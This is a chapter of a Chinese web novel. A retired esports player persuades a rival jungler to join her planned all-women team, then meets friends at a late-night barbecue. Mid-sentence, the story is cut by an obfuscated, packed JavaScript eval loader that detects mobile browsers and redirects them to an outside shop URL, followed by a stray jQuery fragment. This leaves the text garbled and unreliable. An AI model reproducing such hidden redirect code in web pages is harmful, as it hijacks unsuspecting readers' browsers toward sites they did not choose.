米勒看见佘逸走近,朝她抬了抬手。
“天,你简直变了个样。”她拨弄了一下佘逸贴耳的短发,语气像是发现了什么奇闻一样惊喜。
“你还是那个样子。”佘逸双手插兜,衬衫顺着襟堆叠到胯骨上,她偏头扬了扬眉。
米勒的确没变,从神态到穿着都很“米勒”。
“还是很美,对吧?”
“嗯哼。”她不置可否,当自信和张扬齐聚在一个女人身上的时候,美貌不过是聊作增色的衬布。
“来一杯?”
“不了,我开车来的。”
“可惜了,这里的酒很不错。”
米勒歪头惋惜,多情的眼里却很是玩味,她邀请过佘逸转会YT。
“金钱的味道吗?那确实不错。”
佘逸走到和她站对,庆幸自己穿了高跟鞋,稍稍高过米勒一头。
“哈哈哈,我不否认,有一部分是。”
“进来吧。”
米勒重返酒馆,吧台的男士们又小小地沸腾了一下,有金发的意大利人为她带来一束玫瑰。
可惜,今晚的邀约注定会被拒绝,米勒目若无人地走到酒馆的角落。
“我今天来是想……”
佘逸从来都是单刀直入的风格,在赛场上是,在赛场外也是。
“介意吗?”
米勒眼波翻转,笑着打断了她的话,从小巧的银质烟盒里挑出一根女士香烟。
佘逸摇头。
紧接着,米勒从手包里拿出一只皮革打火机,烫金的字体反射出金属的偏光,她冷傲地翘起嘴角:“抱歉,风有点大,可以麻烦你?”
“谢谢。”
“啪嗒“”一声,蓝色的火苗跳跃在两人之间,她低过头借佘逸的手点燃香烟。
在她吸烟之前,先一步到达的是Black Afgano侵略性的呛辣味道,如同火热的她本人。
点燃香烟大约需要三秒钟,两人的视线互不相让地交触到一起。
一次静默的交锋。
烟雾缓缓飘散,对话的主导权现在属于米勒。
“我知道你要说什么,佘逸,我不会去。”
她做游戏一样吐出一个烟圈,再往内套加多一个,再一个。
层层叠压的筹码像一堵高墙,竖立在佘逸面前,墙上的每一块砖都是明码标价的。
“如果你真的毫不考虑,不会答应见我。”
米勒没有回答,她转头看向了酒池中央。
“有很多人都想得到我,你知道是为什么吗?”
“因为你神秘且美丽。”
“但今天没有人能得到我,你知道是为什么吗?”
“因为他们不够打动你。”
她没再说话,对着酒池里投来的目光浅浅微笑,有一搭没一搭地吸烟。
很快,酒侍送过来两杯免费的酒,来自为爱醉倒的心甘情愿。
酒杯里的冰块在二人对峙的桌面上逐渐融化,原木的齿轮之间很快化了一洇水。
她知道佘逸为什么联系她,也知道她为什么突然从LCT退役。
简单来说,她想要自立门户。
不简单地说,她要的是一支全女联赛队伍。
米勒是YT的打野,棠离是LCT的上单,她们曾同台竞技过无数次,不止一次从对方手中夺下过冠军的奖杯。
她们了解对方。
很难说她们究竟是了解自己的队友更多,还是了解对方更多。
在比赛之前,她们已经通过拆解录影隔空对弈了无数次。
这还是佘逸第一次在赛事之外的私人时间联系她。
“你打算继续在YT,比我继续留在LCT的处境不会更好,甚至你选择留在联盟任何一个俱乐部都是一样,”
“你能满足于他们许诺你的,为什么不考虑我能给你的。”
米勒眼里浮出一丝犹豫,这也是她选择跟佘逸见面的原因。
她捏起杯子啜饮一口酒,劲辣的酒液顺着她渴热的喉咙,流入她冰冷的身体里。
“佘逸,从根本上说,我们两个很像。”
“不,我们不像,你是一个现实主义者。”
“那你呢?理想主义者?”
米勒挨不住笑出声,拿着酒杯对着灯光把玩,粉红色的吹制玻璃杯在她颈间吻上暧昧的光线,她修饰精致的眼睛直直地钉向对手,眼风慢慢凌厉:“不,你是一个投机者,我也是。”
“你在寻找离开LCT最好的机会,而且要获得更多的利益,我也是。”
“你把砝码押在了郑正东的小儿子身上,我把注——”她将桌上地另一杯酒推向佘逸,“下到你身上。”
“带着你的队伍回到世界赛,我会随时倒戈。”
佘逸站起身,拿起酒杯和米勒的对碰,她自上而下地看着米勒的眼睛,慢慢饮尽杯中金色的香槟。
“成交。”
“成交。”
佘逸转身离开,走出酒馆前米勒再次叫住了她。
“嘿,说实话,我一开始不觉得你是会做这件事的人,毕竟我们很像。”
“投机者不会为了无法掌控的风险掷出机会。”
“但我很开心你是做这件事的人,佘逸,你走进了这个行业,也希望你能第一个改写这个行业。”
“祝你好运。”
“谢谢。”
佘逸把这句话当做今夜的壮行,转身返回了她的黑夜之中。
……
“搞定了?”
“说不上,算是画了个饼。”
回程佘逸坐到了副驾上,她酒量不太好,刚才闷得太急,现在后劲上来了,她嫌车里面味道重,把车窗全都降了下来。
她歪在车沿上仰头看天,天空边缘是倒映上去的城市霓虹,中心灰蒙蒙的,什么都看不见。
“不好看。”
“不好看就把脑袋缩回来,趴在那跟哈巴狗似的,谁捡你。”
酒精上头的佘逸反射弧格外地长,隔了好一阵才乖乖的坐正,盯着风挡两眼发直,末了居然还有点遗憾:“哦。”
“得了,还是给你吹吹风吧,别没到地方就成醉猫了,”汤佳妮把摇上去的车窗又开下来,“醒醒神,不准现在倒了。”
“谢谢你哦。”佘逸又把脑袋搁上去趴着。
汤佳妮觑她一眼:“不然谁去给钱?”
“你的良心不会痛吗?”佘逸回头很真诚地发问。
“谁有那东西,”汤佳妮赏给她一个白眼,“滑天下之大稽。”
“你怎么能又没良心又有钱呢?”这个问题好几年前佘逸就和温简讨论过,彼时二人想破头也没弄明白,最终归咎于汤佳妮有遗传,她爹也这样。
“没良心是吧?”汤佳妮挫着牙根,气得跳眉,一脚油门到底,扑过来要开佘逸那头的车门,“没良心早他爹把你丢外面了!”
佘逸一瞬间酒都醒了,制住她的手往方向盘上送:“感谢汤女士的不杀之恩,您好好开。”
“危险驾驶是犯罪。”她煞有介事地补了一句,安全带栓得牢牢的。
“我滚你的。”
好在汤佳妮一心守财,瞧不上圈子里那些法制咖,赛车跳伞这种要命的极限运动她也从来不参加,开车顶天了也就120码,高速路畅行。
晚间路况不错,绕内城高架很快就回了市中心,等了两个红绿灯,再有十多分钟就到了。
“给群里发个消息呗,让庞哥把串儿上上。”
汤佳妮把着方向盘,腿抖得哒哒响,已经迫不及待了。
“已经说了。”
(佘she、万仞不孤山、非我……)群聊(6)
[佘she]:[链接]位置信息
[佘she]:快到了,十五分钟左右。
[非我青]:@万仞不孤山她还堵着,才下班,我们已经点了不少了,剩下的等你们到了再看。
[万仞不孤山]:(哭泣)(哭泣)(哭泣)都别说了,这个群里只有我活得和温简一样(抓狂)(抓狂)
[姓温的商人]:@万仞不孤山 ?我警告你,别骂得太脏了!!(中指)
[比巴卜□□糖]:@姓温的商人哟,居然在线,看来已经熬穿了(偷笑)
[姓温的商人]:语音45″
[姓温的商人]:语音60″
[比巴卜□□糖]:急了.jpg
[姓温的商人]:狗叫了.jpg
(此处省略99+小学生互掐)
群里的鸡飞狗跳不停,汤佳妮已经去停车了,佘逸站在路口等她,街灯下围着不眠不休的飞蚊。
庞勇的烧烤店远离商圈,周围却散乱停着不少豪车,本来都到了,汤佳妮转了一圈竟然没位置,只好把车停在了稍远的办公楼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296936|198575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下面。
佘逸孑然立在街边,看了眼时间,刚过十二点,这个点的沪都介于人声鼎沸和寂静无声之间。
明天是周中,应酬的还没尽兴,加班的还没回家,街上的人都神态分明。
如果今天没有改道回来找米勒,佘逸想,自己或许是赶去应酬的那波。
“走了,看什么呢,喂蚊子啊?”
“还得走不小一段,”汤佳妮急急急,“快点的!饿了饿饿饿!”
“来了。”
二人拐了两条街,高傲的CBD大楼被甩在了身后,前面只有一棵老年生的梧桐树,树旁立着一个突兀的朋克风酒柜,硬朗的切割和黑色涂漆,不是熟人不知道这是一家烧烤店的店门。
汤佳妮曾经调侃老庞这地方不像是吃饭的,像接头的。
“热死了热死了,给我开瓶冰的,”汤佳妮一边推门一边把身上的重金属往下扯,“不是我说啊庞哥,你这儿真不好停车,赶紧的搬到嘉世去。”
“成啊,你投资我今儿就收拾。”
庞勇是个人如其名的壮汉,两条花臂再加上满背,江湖上都叫他“勇哥”,只有这死玩意儿叫他“庞哥”,听着像“胖哥”。
他从背后的立式冰柜里提出几瓶冰啤,把其中一瓶起了盖,越过烤架递给汤佳妮。
“热就别穿那么多,穿个皮夹克,身上都能开五金店了嘿。”
“嗐,这不是为了装逼么,谢了哈。”汤佳妮把脖子上那些叮了当啷的都扔给庞勇,急冲冲往包厢里去。
“我烤串儿呢!”
“勇哥,给我吧,我拿进去。”
“回来啦?”
“回来了。”佘逸撑在烤台上,把汤佳妮的零碎收好,“还是老位置?”
“老位置。”
“等会儿来聚。”佘逸拍了两下台子,表示先走了,庞勇忙起来只抬了下头。
包厢门虚掩着,还没走近,佘逸就听见一阵嚷嚷。
“……快点的,先给我吃一口。”
“喏这个,喂!这是我的,我吃过的!狗啊!!”
“就没有人来管管她?”
“听见了吗,当个事儿办!”
一听就是汤佳妮和尤珍年又卯上了,她俩从小对头就杠,干多少年了也没散成,找道士批了说是孽缘。
“成,回头我给勇哥说说,以后狗和汤佳妮不准进。”覃青鸠就坐在门口,佘逸一推门就递给她一支蟹腿,“哟,来了啊,大忙人。”
“快坐,老庞说今儿早上到了只好蟹,我叫他留着做三吃,碳烤的刚上呢。”
葱烤帝王蟹,老庞的特色,不用腌料,只讲究火候,葱丝一燎,鲜甜最劲。
汤佳妮那头抢来的已经吃完了,两眼绿光地看了过来,佘逸一吓,赶紧埋头扒拉。
“妈呀——啧啧,她那喉咙别是个漏斗吧,下水道都没那么通的。”尤珍年眼睁睁看着汤佳妮跟没嚼一样咽了一块肉,表情有些许狰狞,“一想到这样的玩意儿一会儿还得来一个,我这心脏就嘎嘣嘎嘣的。”
“都让让让让,饿死了饿死了!”
真是言出法随,高芸炮弹一样从走廊上扎过来,边跑边解裤腰带,穿高腰裤只会影响她发挥。
“哈哈,说曹操曹操到,你过来点,”覃青鸠一把把尤珍年扽过来,让出战场,“让她俩对着吃吧,咱再点一波。”
高芸坐下双手一挥是大开大合,那头汤佳妮已经杀得是七进七出了,庞勇端着两盘串进来,领着一本菜单出去。
“快给温简打个视频过去,趁着人齐咱们碰一个,今儿晚上不醉不归!”
“傻鸠,现在已经是‘第二天’了。”
“已经‘第二天’了?那只好醉到‘今天’了!大家——举杯!”
“干杯!”
“干杯干杯——”
酒酣串足,尤珍年翻身过来躺倒在佘逸身上,慢悠悠啜饮着佘逸巨资贡献的剑南春,杯酒上头,夸张地从喉咙里叹出一声“嘶哈——”
“辣。”
“辣就喝牛奶。”汤佳妮习惯地要和尤珍年干仗。
“你管呢?”
“就管了,不识货就去小孩那桌。”
“你丫——”
“给我开洋酒来,喝不趴你。”
众人连忙收拾东西挪位置,全都挤挤挨挨偎在佘逸旁边,免得对面那俩斗鸡互啄,血溅到身上。